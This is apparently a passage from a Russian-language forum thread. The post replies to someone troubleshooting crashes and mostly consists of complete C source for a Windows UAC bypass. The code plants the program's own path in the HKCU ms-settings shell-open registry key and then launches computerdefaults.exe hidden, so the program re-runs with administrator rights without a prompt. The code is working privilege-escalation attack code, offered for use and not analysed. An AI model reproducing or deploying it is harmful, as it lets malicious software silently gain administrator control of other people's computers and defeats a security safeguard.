- Автор темы
- Добавить закладку
- #21
У меня все работает, через regedit вручную вставил, ничего не падает..
Потому и говорю, сделай минимальный билд, который роняет у тебя отладчик / реестр/ винду, и скинь сюда. Потому как чисто по коду никаких ошибок нет.
C:
#include <Windows.h>
BOOL IsUserAdmin()
{
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID SecurityIdentifier;
if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &SecurityIdentifier))
return 0;
BOOL IsAdminMember;
if (!CheckTokenMembership(NULL, SecurityIdentifier, &IsAdminMember))
IsAdminMember = FALSE;
FreeSid(SecurityIdentifier);
return IsAdminMember;
}
void wprintf(const wchar_t* Format, ...)
{
DWORD numberOfCharsWritten;
HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
WriteConsoleW(hStdOut, Format, lstrlenW(Format), &numberOfCharsWritten, NULL);
}
void Exit(const wchar_t* msg)
{
DWORD error = GetLastError();
LPWSTR buf[30];
wsprintfW(buf, L"%d\n", error);
wprintf(buf);
wprintf(msg);
Sleep(5000);
ExitProcess(0);
}
void bypassUAC(LPWSTR dest)
{
wchar_t* modulepath = dest;
HKEY key;
if (RegCreateKeyW(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings\\Shell\\Open\\command", &key) == ERROR_SUCCESS)
{
wprintf(L"Opened key successfully\n");
wprintf(modulepath);
wprintf(L"\n");
if (RegSetKeyValueW(key, L"", L"", REG_SZ, modulepath, lstrlenW(modulepath) * sizeof(wchar_t)) == ERROR_SUCCESS)
{
wprintf(L"Successfully set default value\n");
if (RegSetKeyValueW(key, L"", L"DelegateExecute", REG_SZ, L"", 0) == ERROR_SUCCESS)
{
wprintf(L"Successfully set delegateexecute value\n");
}
else
Exit(L"error setting delegateexecute value");
}
else
Exit(L"error setting default value");
if (RegCloseKey(key) != ERROR_SUCCESS)
Exit(L"error closing reg key\n");
Sleep(10000);
PVOID OldValue = NULL;
Wow64DisableWow64FsRedirection(&OldValue);
HINSTANCE hShell = ShellExecuteW(0, L"open", L"C:\\Windows\\System32\\computerdefaults.exe", 0, 0, SW_HIDE);
if ((int)hShell > 32)
{
Wow64RevertWow64FsRedirection(&OldValue);
wprintf(L"Created process sucessfully through shellexecute\n");
CloseHandle(hShell);
ExitProcess(0);
}
else
Exit(L"error while creating process");
}
else
Exit(L"error opening key");
}
int main()
{
LPWSTR modulepath = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_PATH);
GetModuleFileNameW(0, modulepath, MAX_PATH);
if (!IsUserAdmin())
bypassUAC(modulepath);
else
{
wprintf(L"user is admin\n");
Sleep(5000);
}
}